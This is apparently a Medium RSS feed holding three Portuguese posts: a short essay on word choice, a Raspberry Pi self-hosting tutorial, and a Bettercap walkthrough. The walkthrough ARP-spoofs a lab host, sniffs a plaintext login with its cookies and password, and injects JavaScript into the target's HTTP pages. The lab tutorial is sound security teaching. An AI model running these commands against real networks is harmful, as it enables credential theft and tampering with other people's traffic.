<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gabriel Cruz on Medium]]></title>
        <description><![CDATA[Stories by Gabriel Cruz on Medium]]></description>
        <link>https://medium.com/@gmelodie?source=rss-ea856b51f1c0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*CUGlCIRLQuvAW0bTwzOiEw.png</url>
            <title>Stories by Gabriel Cruz on Medium</title>
            <link>https://medium.com/@gmelodie?source=rss-ea856b51f1c0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 10 Jun 2026 02:46:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gmelodie/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[O interessante é mesmo estranho]]></title>
            <link>https://gmelodie.medium.com/o-interessante-%C3%A9-mesmo-estranho-8182e98a6e5a?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/8182e98a6e5a</guid>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Tue, 12 Jan 2021 15:42:34 GMT</pubDate>
            <atom:updated>2021-01-12T15:42:34.667Z</atom:updated>
            <content:encoded><![CDATA[<p>O processo criativo é estranho. Estranho não, como ousam? Como ousam me deixar usar essa palavra, que de certo só é mais precisa do que “interessante”<em>, </em>sem me punir? Sem nem mesmo comentar a mediocridade dessa minha escrita? Como pode? Que alguém ainda diga “interessante” sem ser taxado de estranho? Ou estranho, sem ser taxado de interessante? Há algo pior do que ser interessante? Talvez estranho…</p><p>Não há nada de interessante no <em>interessante</em>. Não há nada de estranho no <em>estranho</em>.</p><p>Aula interessante.</p><p>Projeto interessante.</p><p>Interessante reflexão.</p><p>Pessoa estranha.</p><p>Que qualidades são essas, que não carregam em si nem mesmo si mesmas? É mesmo, taí uma palavra de personalidade: mesmo. Mesmo? Mesmo! Vejam: não deve nada a ninguém, não faz sobrar e nem faltar. É mesmo.</p><p>E quem sou eu? Sabem? Isso mesmo. Sou o mesmo: eu mesmo.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8182e98a6e5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sem IP público? Sem problema]]></title>
            <link>https://gmelodie.medium.com/sem-ip-p%C3%BAblico-sem-problema-d494e91f9c1a?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/d494e91f9c1a</guid>
            <category><![CDATA[dhcp]]></category>
            <category><![CDATA[port-forwarding]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <category><![CDATA[dyn-dns]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Thu, 28 May 2020 14:46:28 GMT</pubDate>
            <atom:updated>2020-05-28T14:46:28.240Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o73jcFGhgM21ZcsjLul1nQ.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@harrisonbroadbent?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Harrison Broadbent</a> on <a href="https://unsplash.com/s/photos/raspberry-pi?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>As aventuras de um computeiro merreca e sua Raspberry Pi dentro de casa</p><h4>Contexto</h4><p>Por volta de julho de 2019 lá estava eu em casa, fazendo altos nadas no computador quando olhei pra minha estante e vi a Raspberry Pi Zero que tinha comprado um ano antes e que até então só servia mesmo era de peso de papel (nem isso direito, <a href="https://www.raspberrypi.org/documentation/faqs/">porque ela pesa 9g</a>).</p><p>A ideia era simples: hospedar meu <a href="https://gmcruz.me/">site pessoal</a> nela mas, como veremos, o buraco é bem mais embaixo.</p><p><strong>Aviso: </strong>A internet é um lugar perigoso e hospedar coisas, seja na nuvem ou na sua rasp em casa, tem seus riscos. Tenha cuidado para não colocar dados sensíveis em sistemas caseiros, blablabla…</p><h4>IPs Publicamente Roteáveis</h4><p>Com essa ideia na cabeça eu comecei. Liguei a rasp, baixei o <a href="https://projects.raspberrypi.org/en/projects/noobs-install">Raspbian</a> (uma versão do Debian para Raspberry Pi) e instalei nela. Claro que nessa época eu pensei que precisava ter um teclado e um monitor pra completar a instalação —<a href="https://www.raspberrypi.org/documentation/configuration/wireless/headless.md"> não precisa</a>.</p><p>Mas apesar de ter demorado um pouco mais do que o esperado (uma semana rsrs) pra instalar o Raspbian, consegui. Estava lá minha raspberry linda e maravilhosa com SSH configurado e tudo.</p><blockquote>Daqui pra frente é facinho: configura um servidor web e serve as páginas!</blockquote><blockquote>— Gabriel , prestes a quebrar a cara</blockquote><p>E foi isso mesmo que eu fiz. Configurei um servidor web (se não me engano era <a href="https://www.nginx.com/">Nginx</a>) e coloquei um arquivo HTML para ela servir:</p><pre>&lt;html&gt;<br>  &lt;body&gt;<br>    Hello world!<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><blockquote>Agora é só abrir o browser e digitar o endere-</blockquote><blockquote>— Gabriel , quebrando a cara</blockquote><p>Mas calma, que endereço a gente coloca no browser? Olhando o IP da rasp eu achei 192.168.0.19. Bom, de dentro de casa funcionaria, porque esse é um <a href="https://help.keenetic.com/hc/en-us/articles/213965789-What-is-the-difference-between-a-public-and-private-IP-address-">IP privado</a>, ou, como eu prefiro, não é <strong>publicamente roteável</strong>.</p><p>IPs publicamente roteáveis, ou só <em>roteáveis</em>, são aqueles para os quais é possível encontrar uma rota independente de onde você esteja na internet. São os tais dos IPs públicos que você só consegue comprando e meio que já acabaram e blablabla, mas isso é assunto para outro post.</p><blockquote>Mas calma. Então se meu IP não é publicamente roteável, como diabos eu consigo receber algum conteúdo da internet?</blockquote><blockquote>— Gabriel, mais confuso do que nunca</blockquote><h4>NAT: Network Address Translation</h4><p>A resposta aqui é que você está atrás de uma <strong>NAT</strong>. Já notou quando você vai pra lá e pra cá, muda de endereço, muda de cidade, estado e até país, e seu IP continua parecido com 192.168.0.19? Isso é NAT, uma estratégia para economizar endereços IP.</p><p>Imagine que o roteador da sua casa é um prédio e o seu computador é um apartamento desse prédio. O número do apartamento é o seu IP privado, aquele 192.168.0.19, e o CEP do prédio é o IP do seu roteador. Quando alguém vai mandar uma carta para você ela coloca como destino o CEP e o número do apartamento. Se no destinatário da carta tivesse só o número do seu apartamento (sem o CEP), o carteiro nunca ia achar o lugar, porque não tem como ele saber de qual prédio você está falando.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*GHN3ikuRALElp_dSogmI5Q.png" /><figcaption>Enviando uma carta entre dois prédios</figcaption></figure><p>NAT é útil porque você economiza endereços IP públicos. Mesmo que tenha 20 pessoas na sua casa, vocês só vão “gastar” um IP público do roteador. Na nossa analogia, você não precisa ter um CEP para cada apartamento, e com isso economizamos CEPs.</p><blockquote>Mas então os pacotes vêm com dois IPs de destino? O do roteador e o seu IP privado?<br><br> — Você, mais confuso que surdo em bingo</blockquote><p>Não exatamente. Apesar de isso poder ser uma solução válida para o problema, em geral NAT é implementado usando tradução de IPs locais para portas do roteador (<a href="http://www.tcpipguide.com/free/t_IPNATPortBasedOverloadedOperationNetworkAddressPor.htm">Port-based NAT</a>): o roteador tem várias portas, o que a NAT faz nesse caso é basicamente criar regras do tipo “se chegar um pacote na porta <strong>29534</strong>, redirecione para o IP do <strong>Gabriel</strong>, e se chegar um pacote na porta <strong>3487</strong> redirecione para o IP da<strong> Alice</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*h6qPuKOYJqbkCa8TmFN2IA.png" /><figcaption>NAT: Dois pacotes chegando no mesmo roteador em portas diferentes</figcaption></figure><h4>Port Forwarding</h4><p>Então eu tinha um IP público: o do roteador! Isso significa que qualquer pessoa era capaz de chegar até o meu roteador, o problema era da porta pra dentro: configurar o roteador para redirecionar todas as requisições do site para a Raspberry.</p><blockquote>Mas como fazer isso?<br><br> — Gabriel, já não mais tão desapontado</blockquote><p>A palavra-chave aqui é <strong>Port Forwarding</strong>, ou redirecionamento de portas. Lembra que eu disse que a NAT tem umas regras de “se chegar na porta tal, redirecione pro IP interno tal”? O que vamos fazer é basicamente configurar uma regra dessas manualmente:</p><blockquote>“se chegar um pacote na <strong>porta 80, </strong>redirecione para o IP da rasp”</blockquote><p>A grande maioria dos roteadores hoje te permite fazer isso através da interface web, a mesma que você usa pra mudar a senha da Wi-Fi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*E6lcBXQ2Nxx5zVpO6MrYXA.png" /><figcaption>Página de configuração de Port Forwarding no roteador</figcaption></figure><p><strong>Obs:</strong> Você provavelmente notou que eu passei meio por cima do assunto <strong>portas</strong>. Isso porque se eu fosse falar sobre isso esse post ia ficar 3x mais longo, e não é tããão importante assim no momento, mas eu recomendo muito você aprender sobre em algum momento. Para nós, a porta 80 é importante porque é por onde chegam as requisições HTTP (requisições de websites).</p><h4>DHCP: Dynamic Host Configuration Protocol</h4><p>Tá bom vai, eu passei lotado por mais um detalhe além da parada das portas. Mas eu prometo que é só mais um. Lembra da regrinha que configuramos no roteador?</p><blockquote>“se chegar um pacote na <strong>porta 80, </strong>redirecione para o <strong>IP da rasp</strong>”</blockquote><p>O problema aqui é: qual é o IP interno da rasp? Ou melhor: os IPs internos são sempre os mesmos? Resposta: o buraco é mais embaixo.</p><p>O DHCP é o protocolo que permite distribuir endereços IP dinamicamente. Imagine que você venha na minha casa e se conecte na minha rede. Na grande maioria das vezes você recebe um IP do servidor DHCP que roda no roteador da casa. Isso serve para que IPs possam ser “reciclados”, ou seja, quando você for embora da minha casa, o servidor coleta de volta aquele IP que você estava usando para que outra pessoa no futuro possa usá-lo.</p><p>Mas isso é um problema para nós porque o port forwarding não adivinha o IP da rasp, então o que precisamos fazer é configurar o servidor DHCP, bem parecido com a configuração de port forwarding, para reservar um endereço IP para a rasp. Assim, toda a vez que a rasp ligar e se conectar na rede de casa o servidor DHCP vai dar o mesmo IP para ela, e o port forwarding vai funcionar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*W3je-0Z8Ux9TmQ-7muOx3w.png" /><figcaption>Página de configuração do DHCP no roteador</figcaption></figure><h4>IP público vs. IP estático</h4><p>Já que tocamos no assunto de IPs estáticos e dinâmicos, será que IPs públicos são todos estáticos? Resposta: NÃO!</p><p>Do mesmo jeito que IPs privados em geral são administrados por um servidor DHCP, IPs públicos também podem ser. No meu caso o meu provedor de internet tinha um servidor DHCP para toda a região da cidade onde eu morava, e cada roteador recebia seu IP <strong>público </strong>e<strong> dinâmico</strong>. Isso me custou mais umas duas semanas pra descobrir…</p><blockquote>Ué, mas qual o problema de ser dinâmico? Não basta ser público pra podermos acessar?<br><br> — Você, mais confuso que o Gabriel do começo do post</blockquote><p>Essa é fácil. Imagine que para acessar o meu site você digita o IP lá no browser: 123.12.9.34. Agora imagina que na semana seguinte eu solto um novo post e você animadasso pra ler vai lá e puf, o site tá em outro IP. Um saco né? É esse o problema :P</p><p>Mas agora, diferente do que aconteceu na minha casa, eu não tinha acesso ao servidor DHCP do provedor para forçar o IP do meu roteador a ser estático, então, depois de mais uma semana quebrando a cabeça eu encontrei uma solução: <strong>Dynamic DNS</strong>.</p><blockquote>Oh meu jesus, mais um termo?<br><br> — Você, já não aguentando mais o aluguel que tá esse post</blockquote><p>Prometo que estamos no fim.</p><h4>Dyn DNS</h4><p>Lembra do nosso exemplo hipotético em que você acessava meu site usando o IP? Agora fala sério, quando você acessa um site, você usa o IP do site? Não. Em geral os sites tem <strong>nomes </strong>tipo google.com e <a href="https://ganesh.icmc.usp.br/">ganesh.icmc.usp.br</a>. Esses nomes chamam <em>domínios</em>: nomes mais amigáveis ao usuário que mapeiam para endereços IP e servem pra você não ter que ficar lembrando os endereços de cada site e serviço que você quer usar, <strong>até porque esses IPs podem mudar</strong>.</p><p>O Domain Name System, esse sistema que converte domínios para IPs, é muito útil para a gente agora. Se o nosso site tivesse um domínio tipo <a href="https://gmcruz.me/">gmcruz.me,</a> poderíamos só mudar o IP que mapeia para esse nome e pronto. Para o usuário final nada mudou.</p><p>O Dynamic DNS é o mecanismo que permite alterar registros DNS conforme o IP muda. Por exemplo, podemos fazer um programa que checa se o IP do roteador mudou e, se for o caso, atualiza o registro DNS com o novo IP. Felizmente pra gente isso já está feito e existem vários clientes de DNS dinâmico por aí. O que eu faço a seguir é meio mecânico, então vou deixar só uma lista dos passos com links:</p><ol><li>Pegar um domínio: comprar ou pegar de graça usando <a href="https://education.github.com/pack">Github Developer Pack</a> ou <a href="https://www.hostinger.pt/dominio-gratis">domínios grátis</a>.</li><li>Delegar o gerenciamento do domínio para a <a href="https://support.cloudflare.com/hc/en-us/articles/201720164-Creating-a-Cloudflare-account-and-adding-a-website">CloudFlare</a> (não é obrigatório, é só como eu fiz)</li><li><a href="https://support.cloudflare.com/hc/pt-br/articles/360020524512-Como-gerenciar-IPs-din%C3%A2micos-no-DNS-da-Cloudflare-por-meio-de-programa">Configurar o domínio para Dyn DNS na CloudFlare</a></li><li>Configurar o script para rodar na rasp que atualiza o DNS conforme o IP do roteador muda. Eu usei o <a href="https://sourceforge.net/p/ddclient/wiki/Home/">ddclient</a> e configurei com a imensa ajuda <a href="https://github.com/mcblum/ddclient-cloudflare-ubuntu">desse tutorial</a>.</li></ol><h4>Observações</h4><p>Depois de umas semanas com tudo funcionando bem eu percebi que não queria expor um site usando a minha raspberry, porque não é muito confiável em termos de segurança, rede, energia, capacidade de processamento, etc. Então eu logo fechei a porta 80 e desliguei o servidor web.</p><blockquote>Nossa mano você me fez ler até aqui pra falar que nem usou o rolê?<br><br> — Você, puto da vida</blockquote><p>Não, não é isso. Eu gostava da ideia de poder <strong>mexer</strong> na minha rasp de fora de casa, mas com o site isso não era possível, e ela nem fazía um bom trabalho em termos de ser um servidor web. Então o que eu fiz foi abrir a porta 22 em vez da 80, e <a href="https://www.raspberrypi.org/documentation/remote-access/ssh/">configurar um servidor SSH</a> para que eu conseguisse acessar e realmente mexer e fazer coisas nela. <a href="https://gmcruz.me/">Meu site</a> hoje é hospedado no <a href="https://pages.github.com/">Github Pages</a>, que é gratuito e confiável.</p><p>Até a próxima :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d494e91f9c1a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bettercap: Um guia para toda a família]]></title>
            <link>https://medium.com/ganeshicmc/bettercap-um-guia-para-toda-a-fam%C3%ADlia-afc3ade3380a?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/afc3ade3380a</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Mon, 23 Mar 2020 16:17:53 GMT</pubDate>
            <atom:updated>2020-03-23T17:10:21.145Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NvBJAKeVzd2sbZ1nd1_8lA.jpeg" /><figcaption>Foto de <a href="https://www.pexels.com/@pixabay?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pixabay</a>, disponível em <a href="https://www.pexels.com/photo/blur-business-coffee-commerce-273222/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>Então você decide começar a brincar com segurança de redes e logo o Bettercap aparece no topo dos resultados da busca do Google (ou <a href="https://duckduckgo.com/">DuckDuckGo</a> ❤).</p><p>Você, script kiddie que é, logo baixa e instala a versão mais recente do Bettercap e finalmente tem tudo o que precisa para começar sua vida de hacker, roubar todas as senhas das redes dos vizinhos, invadir a NASA e… Não tem nenhum tutorial decente na web.</p><p>Sobram então duas opções: (1) bater cabeça, testar todos os módulos na mão e se frustrar muito até aprender algo ou (2) continuar lendo esse post :)</p><h4>Setup</h4><p>Os testes realizados nesse post utilizaram os seguintes componentes (tanto de rede quanto da máquina atacante)</p><ul><li>Arch Linux</li><li>Bettercap v2.24.1 (ou mais recente)</li></ul><h4>Cuidados</h4><p>Todos os testes realizados aqui foram feitos em ambientes controlados, com as devidas permissões. Por favor não utilize esse conhecimento para nada que viole privacidade ou quaisquer leis.</p><h3>Um Etter Melhor</h3><p>Se você chegou até o Bettercap existe uma boa chance de que você já conheça a ideia geral (nada técnico não) por trás de um <a href="https://pt.wikipedia.org/wiki/Ataque_man-in-the-middle">ataque de homem no meio</a> (ou <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle</a>, MITM). O pai do Bettercap, o Ettercap, foi criado como uma suíte para possibilitar diversas formas e implementações de ataques MITM.</p><p>O Bettercap é o sucessor do Ettercap e, como o próprio nome diz, ele é melhor (better). O Bettercap oferece uma gama muito maior de ataques, bem como a possibilidade de escrever scripts (caplets) que implementem ataques customizados, colocando muito mais poder nas nossas mãos — mas, como diria o Tio Ben,</p><blockquote>Com grandes poderes vêm grandes responsabilidades.</blockquote><p>Há muito o que aprender sobre o Bettercap, mas vamos com calma, afinal ninguém quer reiventar a roda só pra andar de carro.</p><h3>Um Fusquinha</h3><p>Para fazer nosso primeiro ataque MITM vamos usar os módulos de <a href="https://en.wikipedia.org/wiki/ARP_spoofing">ARP spoofing</a> (arp.spoof) e de reconhecimento (net.recon, net.probe e net.show) do Bettercap:</p><pre>$ sudo bettercap</pre><pre>192.168.0.0/24 &gt; 192.168.0.5 » </pre><h4>Reconhecimento</h4><p><strong>Dica: </strong>se você não sabe quais as opções de algum módulo digite help nome.do.modulo, ou, para ver a lista de módulos do Bettercap, utilize apenas help.</p><p>Primeiramente precisamos descobrir os IPs das máquinas conectadas na rede, para isso vamos usar o módulo net.recon:</p><pre>192.168.0.0/24 &gt; 192.168.0.5 » <strong>help net.recon</strong></pre><pre>net.recon<strong> </strong>(<strong>not running</strong>): Read periodically the ARP cache in order to monitor for new hosts on the network.</pre><pre><strong>net.recon on</strong> : Start network hosts discovery.<br><strong>net.recon off</strong> : Stop network hosts discovery.<br><strong>net.clear</strong> : Clear all endpoints collected by the hosts discovery module.<br><strong>net.show</strong> : Show cache hosts list (default sorting by ip).<br><strong>net.show ADDRESS1, ADDRESS2</strong> : Show information about a specific comma separated list of addresses (by IP or MAC).<br><strong>net.show.meta</strong> ADDRESS1, ADDRESS2 : Show meta information about a specific comma separated list of addresses (by IP or MAC).<br></pre><pre><strong>Parameters</strong></pre><pre><strong>net.show.filter</strong> : Defines a regular expression filter for net.show (default=)<br><strong>net.show.limit</strong> : Defines limit for net.show (default=0)<br><strong>net.show.meta</strong> : If true, the net.show command will show all metadata collected about each endpoint. (default=false)<br><strong>net.show.sort</strong> : Defines sorting field (ip, mac, seen, sent, rcvd) and direction (asc or desc) for net.show (default=ip asc)</pre><p>O texto de ajuda nos dá uma boa noção do que está acontecendo. A primeira coisa que notamos é que o net.recon utiliza as entradas da tabela ARP do seu computador para reconhecer os hosts conectados na rede. Isso significa que ele faz um reconhecimento <strong>passivo</strong>, reconhecendo os hosts na medida em que eles enviam pacotes ARP pela rede.</p><p>Como não queremos ficar esperando para que os hosts enviem pacotes para descobrí-los, podemos usar uma abordagem <strong>ativa </strong>com o net.probe, que fica enviando pacotes UDP para todos os possíveis IPs da rede e vê quais IPs respondem:</p><pre>192.168.0.0/24 &gt; 192.168.0.5 » <strong>help net.probe<br></strong>net.probe (<strong>not running</strong>): Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet.</pre><pre><strong>net.probe on</strong> : Start network hosts probing in background.<br><strong>net.probe off</strong> : Stop network hosts probing in background.</pre><pre><strong>Parameters</strong></pre><pre><strong>net.probe.mdns</strong> : Enable mDNS discovery probes. (default=true)<br><strong>net.probe.nbns</strong> : Enable NetBIOS name service discovery probes. (default=true)<br><strong>net.probe.throttle</strong> : If greater than 0, probe packets will be throttled by this value in milliseconds. (default=10)<br><strong>net.probe.upnp</strong> : Enable UPNP discovery probes. (default=true)<br><strong>net.probe.wsd</strong> : Enable WSD discovery probes. (default=true)</pre><p>Vamos então primeiramente listar os hosts da nossa rede usando net.probe:</p><pre>192.168.0.0/24 &gt; 192.168.0.5 » <strong>net.probe on</strong></pre><p>Os hosts descobertos devem aparecer conforme a ordem de descoberta. Para listar todos os descobertos até agora vamos usar o net.show:</p><pre>192.168.0.0/24 &gt; 192.168.0.5 » <strong>net.show</strong></pre><p>Agora vamos escolher um dos hosts para impersonar durante o MITM. Nesse exemplo vamos atacar o 192.168.0.111, que é uma máquina configurada especificamente para demonstrar o ataque.</p><p><strong>Obs:</strong> O IP do host a ser atacado depende da rede em que você está conectado.</p><p><strong>Obs 2:</strong> O computador que eu estou atacando foi configurado e ligado especificamente para esse tutorial. Não ataque hosts sem as devidas permissões!!</p><h4>Tique-taque</h4><p>Uma das funcionalidades mais legais do Bettercap é o ticker, que permite configurar comandos que fiquem rodando de tempos em tempos. Se você não entendeu porque isso é útil eu mostro:</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>set ticker.commands &#39;clear; net.show&#39;</strong><br>192.168.0.0/24 &gt; 192.168.0.5  » <strong>set ticker.period 1<br></strong>192.168.0.0/24 &gt; 192.168.0.5  » <strong>ticker on</strong></pre><p>TÃ-RÃÃÃÃÃÃÃÃÃ</p><p>Ele vai ficar limpando a tela e te mostrando um resumo dos hosts na rede atualizado a cada 1 segundo. Mas pra falar a verdade eu só configurei os parâmetros manualmente pra mostrar que dá pra usar com outros comandos e em outros intervalos, porque esses valores já são os padrão (o que quer dizer que você pode atingir o mesmo resultado apenas com:)</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>ticker on</strong></pre><h4>Às Máscaras, Hackers</h4><p>Para realizar o MITM vamos usar o módulo arp.spoof:</p><pre>192.168.0.0/24 &gt; 192.168.0.5 » <strong>help arp.spoof</strong></pre><pre>arp.spoof (<strong>not running</strong>): Keep spoofing selected hosts on the network.</pre><pre><strong>arp.spoof on</strong> : Start ARP spoofer.<br><strong>arp.ban on</strong> : Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.<br><strong>arp.spoof off</strong> : Stop ARP spoofer.<br><strong>arp.ban off</strong> : Stop ARP spoofer.</pre><pre><strong>Parameters</strong></pre><pre><strong>arp.spoof.fullduplex</strong> : If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail). (default=false)</pre><pre><strong>arp.spoof.internal</strong> : If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network. (default=false)</pre><pre><strong>arp.spoof.targets</strong> : Comma separated list of IP addresses, MAC addresses or aliases to spoof, also supports nmap style IP ranges. (default=&lt;entire subnet&gt;)</pre><pre><strong>arp.spoof.whitelist</strong> : Comma separated list of IP addresses, MAC addresses or aliases to skip while spoofing. (default=)</pre><p>Como o ataque que vamos fazer é simples, só precisaremos mexer em um desses argumentos: a lista de alvos (<em>targets</em>). A opção padrão (<em>default</em>) para a lista de alvos é a rede inteira, mas nós só queremos atacar um host (o 192.168.0.111):</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>set arp.spoof.targets 192.168.0.111</strong></pre><p>Ah! Você pode ver como estão os parâmetros de qualquer modo usando o comando get:</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>get arp.spoof.fullduplex</strong></pre><pre>arp.spoof.fullduplex: &#39;false&#39;</pre><p>Se quiser ver todos os parâmetros de um determinado módulo você pode usar <a href="http://arenamagic.com.br/wildcards-o-que-e-como-usar/">coringas (wildcards)</a>, tipo os de <a href="https://pt.wikipedia.org/wiki/Express%C3%A3o_regular">regex</a> mesmo:</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>get arp.spoof.*</strong></pre><pre>                          arp.spoof.fullduplex: &#39;false&#39;<br>                           arp.spoof.internal: &#39;false&#39;<br>                            arp.spoof.targets: &#39;192.168.0.111&#39;<br>                          arp.spoof.whitelist: &#39;&#39;</pre><p>E finalmente vamos ligar o módulo de arp spoofing:</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>arp.spoof on</strong></pre><h4>Cheirinho de sniffer</h4><p>Beleza, legal, você está spoofando o seu alvo… Mas e daí? Daí que você não vai conseguir ver nada a menos que ligue um <em>sniffer</em>. Deixa eu explicar: você agora está fazendo o seu alvo acreditar que você é o gateway (roteador, access point, switch, hoje em dia essas paradas estão todas no mesmo aparelho físico). Ou seja, o seu alvo está enviando pra você todos os pacotes que ele troca com qualquer serviço da internet, mas isso não quer dizer que o seu computador vai de fato abrir os pacotes e olhar eles.</p><p>O <em>sniffer</em> é o programa que vai pegar os pacotes que passam pelo seu computador e de fato abrir e lê-los (claro que o bettercap tem um prontinho :)</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>net.sniff on</strong></pre><p>Agora sim, vá na máquina que você está atacando e acesse uns sites com ela. Você logo vai ver no Bettercap um montão de informação sobre os pacotes capturados.</p><p>Importante notar que na máquina atacada tudo parece normal, isso é porque o Bettercap captura os pacotes, abre, te mostra e depois os encaminha para o roteador normalmente, então seu alvo não nota de cara que está sendo atacado.</p><p>Eu adoro Neopets, ainda mais porque eles usam HTTP em vez de HTTPS (ou seja, nada de criptografia no HTTP). Aqui está a saída do Bettercap depois que tendo fazer um login no Neopets pelo computador alvo:</p><pre>POST /login.phtml HTTP/1.1<br>Host: <a href="http://www.neopets.com">www.neopets.com</a><br>Referer: <a href="http://www.neopets.com/login/index.phtml?destination=%2Fmyaccount.phtml">http://www.neopets.com/login/index.phtml?destination=%2Fmyaccount.phtml</a><br>Cookie: np_randseed=31799734161242960; np_uniq=pending; xt6Yr4e33D=225442642583; npuid=1300000us000000000030000200000000000000000000000000000000e700000; np_uniq_=2019-09-02; _tz=180; __utma=258639253.789120969.1565725586.1565963834.1567458091.4; __utmz=238639253.1565725586.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); SPSI=57f2c16e050132f78dd3bdc9ac5daae1; spcsrf=742382132210d20e8d8416a56d45d9be; UTGv2=h425a51214f01c80f87620203f3b624a19b42; PHPSESSID=6ttts0g7tg8evlt8idmubeunk0; PRLST=ju; adOtr=c2K1Ref0605; __utmb=258639253.7.10.1567458091; __utmc=258639253; sp_lit=CbP52BTIse8zj/TZUq3NrQ==; __utmt=1<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 61<br>Connection: keep-alive<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate</pre><pre>destination=%2Fmyaccount.phtml&amp;<strong>username=fui&amp;password=hackeado</strong></pre><p>Como o Neopets não usa HTTPS, as informações trafegam em texto plano, então não é preciso nada mais chique no nosso ataque. Aúltima linha mostra o usuário e a senha digitados no computador do alvo.</p><h4>Filtrando saídas do sniffer</h4><p>Se você realmente deu uma brincada no computador do alvo você deve ter notado que mesmo um computador pessoal (PC) normal gera muita saída com alguns simples acessos, muito material que em geral não nos é útil (agora imagina quando você tá spoofando a rede inteira!). Então o que podemos fazer é usar <a href="https://pt.wikipedia.org/wiki/Express%C3%A3o_regular">Expressões Regulares</a> para filtrar a saída para mostrar somente o que nos é interessante. Por exemplo, vamos fazer ele mostrar somente pacotes que tiverem a palavra “password”:</p><pre>192.168.0.0/24 &gt; 192.168.0.5  » <strong>set net.sniff.regexp password</strong></pre><p>Voilà! Sem mais toda aquela nojeira que não importa. Dá pra refinar ainda mais com expressões mais complexas, mas isso foge do escopo desse post.</p><h4>Avisando o alvo (ou http proxy)</h4><p>Não sejamos malvados, vamos avisar o nosso alvo de que ele está vulnerável para ele ficar mais alerta das próximas vezes! O módulo http.proxy do Bettercap é ótimo pra brincar com os pacotes que capturamos.</p><p>É provável que você já tenha ouvido falar de (e até incentivado a usar) servidores proxy, ou <em>proxy servers</em> em inglês. Um servidor proxy é um servidor que geralmente roda perto da sua máquina e que intercepta pacotes que você envia para o mundo externo (e vice-versa). Na real, isso tudo é configurável, mas o que importa aqui é que existe um programinha embutido no Bettercap que facilita o processo de alterar pacotes do alvo. Por exemplo, podemos colocar uma caixa de alerta em todos os pacotes HTTP que nosso alvo receber dizendo “Fui hackeado”, e, claro, se podemos, é isso mesmo que vamos fazer!</p><p>Crie um arquivo .js (no meu caso o nome vai ser hacked.js) e coloque algum código javascript dentro dele. Nós vamos fazer só uma caixinha simples de alerta, mas perceba que você pode colocar <em>qualquer</em> código javascript aqui.</p><pre>// Arquivo hacked.js</pre><pre>alert(&#39;Voce foi hackeado(a)!&#39;)</pre><p>No compudador alvo, qualquer site HTTP (não HTTPS) acessado mostrará o código injetado (no caso, abrindo uma janela com o texto “Voce foi hackeado(a)!”).</p><p><strong>Obs:</strong> Até a data de escrita deste post não existem ataques viáveis para acessar, ver e modificar informações de sites HTTPS. Em um post futuro falaremos do estado dos problemas de segurança do protocolo HTTPS.</p><h3>C’est fini!</h3><p>Obrigado por ler até aqui. Eu espero soltar um próximo post com ataques em redes wifi, indo mais profundamente em conceitos de redes e tudo mais. Se você 